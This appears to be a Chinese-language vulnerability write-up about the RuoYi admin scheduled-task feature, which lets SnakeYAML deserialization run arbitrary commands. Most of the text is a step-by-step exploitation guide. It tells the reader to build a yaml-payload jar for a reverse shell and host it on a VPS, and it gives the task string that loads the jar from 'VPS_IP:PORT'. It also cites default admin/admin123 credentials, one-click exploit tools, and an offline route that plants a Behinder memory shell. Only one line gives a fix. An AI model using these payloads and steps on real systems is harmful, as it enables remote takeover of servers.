1.漏洞描述

由于若依后台计划任务处,对于传入的“调用目标字符串”没有任何校验,导致攻击者可以调用任意类、方法及参数触发反射执行命令。

2.影响版本

RuoYi<4.6.2。

3.漏洞详情

若依后台定时任务snakeyaml命令执行在此版本下大多是使用常见的出网利用,获取反弹shell。

(1)常规出网利用方式

payload:https://github.com/artsploit/yaml-payload

修改AwesomeScriptEngineFactory.java中命令为要执行的命令,类似开启计算器、ping、反弹shell等。

javac src/artsploit/AwesomeScriptEngineFactory.java

//编译为class文件。

jar -cvf yaml-payload.jar -C src/ .

//编译为jar文件

起一个vps上的web服务。

进入若依后台,添加一个计划任务。

org.yaml.snakeyaml.Yaml.load('!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://VPS_IP:PORT/yaml-payload.jar"]]]]')

cron表达式:

0/10 * * * * ?

执行计划任务,获取反弹shell。

也可直接借助https://github.com/thelostworldFree/Ruoyi-All 若依一键利用工具。

(2)不出网利用方式

也不出网利用需要将恶意jar文件上传到服务器本地。

GitHub - thelostworldFree/Ruoyi-All: 若依后台定时任务一键利用

用这个工具一键穿,不过首先得有admin的用户密码,默认admin/admin123

上传jar包为java内存马,项目地址:GitHub - lz2y/yaml-payload-for-ruoyi: A memory shell for ruoyi

然后使用jdbc Template利用选择利用方法为snakeyaml,加载刚才上传的jar地址用来生成冰蝎内存马。

内存马验证:

冰蝎连接:

4.修复建议

(1)升级Ruoyi至最新版本。

Logo

快速构建 Web 应用程序

更多推荐